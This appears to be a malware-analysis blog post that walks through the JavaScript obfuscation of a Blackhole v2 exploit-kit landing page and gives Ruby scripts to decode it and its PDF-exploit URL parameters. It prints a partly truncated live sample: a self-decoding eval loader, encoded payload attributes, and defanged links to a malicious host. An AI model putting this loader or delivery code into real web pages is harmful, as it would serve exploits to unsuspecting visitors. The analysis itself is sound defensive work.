In this post, we'll going to go through quick explanation on Blackhole v2 JavaScript obfuscation and how to deobfuscate using ruby. Keep in mind that the obfuscation code might have change a bit from time to time, so, adjustment on ruby code is required as well. Thus please take note on any changes on obfuscation code used.
JavaScript Obfuscation
<html><head><title></title></head><body><div dqa="asd"></div><applet archive="hxxp://kennedyana[.]ru:8080/forum/links/column.php?xlkuwces=0837090803&ysxk=3b42&jtaziv=wqur&coqs=wyfelia" code="gbegbewewb"><param name="uid" value='00b0909041f313111353a3a35001e1a3a1a3c44211f181c181c312c174421233143323a11193138174321233a3c040b043d232c391c1808291c3e1c181c080223353908081c291c3e082908181c291c2908341c341c28023a391c27021236391a020a233919'/></applet><script>dd="div";asd=function(){a=a.replace(/[^012a-z3-9]/g,"");};ss=String.fromCharCode</script><div 12="131a1r1h(1d341u3h34@3p3c3a343n&3i3l1f3j3f+3o3a3c3h3m%1d3a1u1313)1d391d351d#3g1s393i3l*19391u1h1s!391t341f3f^383h3a3n3b_1s391c1c1a$3u3g1u342t(39301f3738@3m363l3c3j&3n3c3i3h40+403a1s351u%342t39301f)3h343g3840#403a1s3c39*19193b1f3n!383m3n193g^1a17171912_374040371f$3n383m3n19(2k383a273r@3j1f3f3839&3n253" 3="3s#3j383i3911*351u1u133m!3n3l3c3h3a^131717191g_2u371g1a1f$3n383m3n19(351a1a411d@3a383n2g3o&3g2k383a3r+1r1g2t2u37%302t2u372u)1f2u321d1e#301b1g1d3m*3j3f3c3n2g!3o3g2k383a^3r1r1g2t2u_1f2u321d1e$301g3a1d3a(383n2g3o3g@1r393o3h36&3n3c3i3h19+351d361a3u%3p343l1137)1u3n3b3c3m#1d341u371f*3c3m2l3n3l!2g3o3g1935^" 21="h36)3n3c3i3h19#381d351d37*1a3u3p343l!11341d361s^3c3919381a_3u3c391938$2t352t1h30(301u1u1i40@40371a3u39&3i3l19341u+1h1s341t35%1f3f383h3a)3n3b1s341u#341c1j1a3u*382t352t34!30301u352t^341c1i3041_41393i3l19$34113c3h11(381a3u361u@382t34301s&3c39193617+17362t352t%1h30301u1u)1i1a3u3n3b#3c3m1f3c3h*3c3n2h353d"
......
33="!2u1f212u37^1b1a1g3c1a_1f3n383m3n$193c1a1s36(1f3p383l2h@3j383l341u&361f3c3m2h+3j383l3417%1719191g2o)383l3m3c3i#3h2u3m1b2u*1g2u3m1b19!2u371c2u1f^212u371b1a_1g3c1a1f3n$383m3n193c(1a40401i1a@213j343l3m&38283f3i34+3n192k383a%273r3j1f15)1i1d1i1h1a#1r3h3o3f3f*1s361f3437!372p3c3h27^3p383h3n19_133f3i3437$13" 79="83m36+3l3c3j3n3c%3i3h1a4040)371f3a383n#2g3o3g1935*1f3h343g38!1a1s3b1u37^1f3a383n2i_3f3o3a3c3h$283c3f382o(383l3m3c3i@3h19351d3b&1a1s3c3919+123b171737%1f2h2l1u1u)1i1a3u3c39#193a1f3j3f*3o3a3c3h2a!343m2f3c3g^382m3s3j38_19351d1334$3j3j3f3c36(343n3c3i3h@1g3p3h371f&34373i3538+1f3j37393r%3g3f131d34)1a1a3u3b"></div><script>
if(020==0x10)a=document.getElementsByTagName(dd)[1];
s="";
for(i=0;;i++){
if(window.document)r=a.getAttribute(i);
if(r){s=s+r;}else break;
}
a=s;
asd();
s="";
for(i=0;i<a.length;i+=2){
s+=ss(parseInt(a.substr(i,2),31));
}
c=s;
e=window["ev"+"a"+"l"];
try{("321".substr+"zxc")();}catch(gdsgdsg){e(c);}
</script></body></html>
The snippet above is a normal Blackhole v2 HTML page that'll feed a suitable exploit for visitors. We'll focus more with the code within <script> and </script>. In general, the JavaScript will deobfuscate itself by;
1) Get all the element in 2nd <div> tag in HTML page
a=document.getElementsByTagName(dd)[1]
2) Loop through the 2nd <div> tag and cumulate the value of attribute inside the 2nd <div> (Note: the cumulation value will be in sequence)
for(i=0;;i++){
if(window.document)r=a.getAttribute(i);
if(r){s=s+r;}else break;
}
3) It will then delete the character /[^012a-z3-9]/ within the cumulated attribute values
asd(); OR asd=function(){a=a.replace(/[^012a-z3-9]/g,"");};
4) Next, it will get every 2 characters of cumulated attribute values at a time, and return the integer of base 31 and the ASCII value from the integer.
for(i=0;i<a.length;i+=2){
s+=ss(parseInt(a.substr(i,2),31));
}
5- Lastly, it will eval the all the cumulated values in step 4.
e=window["ev"+"a"+"l"];
try{("321".substr+"zxc")();}catch(gdsgdsg){e(c);}
Deobfuscating with ruby
To deobfuscate above code with ruby, we can make use of pattern matching for attributes in <div> tag. Previous sample that I've seen, uses <div d01="blabla" d03="blabla" d02="blabla" ...>, and most of the samples now uses <div 1="blabla" 3="blabla" 2="blabla" ..>. So I use regex = /\s(\d{1,2})\=\"(.*?)\"/ for now. It might now work on every samples, tweaking the regex is required.
#!/usr/bin/ruby
require 'stringio'
content = ''
code = ''
base = 31
deobf = ''
File.open("test.lala", "r") { |f| content << f.read }
attribs = content.scan(/\s(\d{1,2})\=\"(.*?)\"/)
(0...attribs.length).each do |i|
attribs[i][0] = attribs[i][0].to_i
end
attribs.sort!
(0...attribs.length).each do |i|
code << attribs[i][1]
end
code.gsub!(/[^012a-z3-9]/,'')
code = StringIO.new(code)
while (1)
a = code.read(2)
if a.kind_of?(String)
deobf << a.to_i(base).chr
else
break
end
end
File.open("lala.html","w") { |f| f.write(deobf) }
Deobfuscation for show_pdf2
After successfully deobfuscating the JavaScript above, we can get the links to download the PDF exploit. Most of the parameter in URL to download the PDF exploit for Blackhole v2 will be obfuscated as below;
function x(s){d=[];for(i=0;i<s.length;i++){k=(s.charCodeAt(i)-46).toString(16);if(k.length==1)k="0"+k;d.push(k);};return d.join("");}
show_pdf2("hxxp://kennedyana[.]ru:8080/forum/links/column.php?mkih="+x("6e761")+"&itv="+x("n")+"&uqtfl=3307093738070736060b&yocom="+x(pdfver.join(".")))
Below are deobfuscation using ruby;
#!/usr/bin/ruby
pdfver = [9, 1, 1, 1]
def x(str)
k = ''
decoded = ''
str.each do |s|
k = (s.unpack('U')[0]-46).to_s(16)
if k.length == 1
k = "0" + k
end
decoded << k
end
return decoded
end
puts "hxxp://kennedyana[.]ru:8080/forum/links/column.php?mkih="+x("6e761")+"&itv="+x("n")+"&uqtfl=3307093738070736060b&yocom="+x(pdfver.join("."))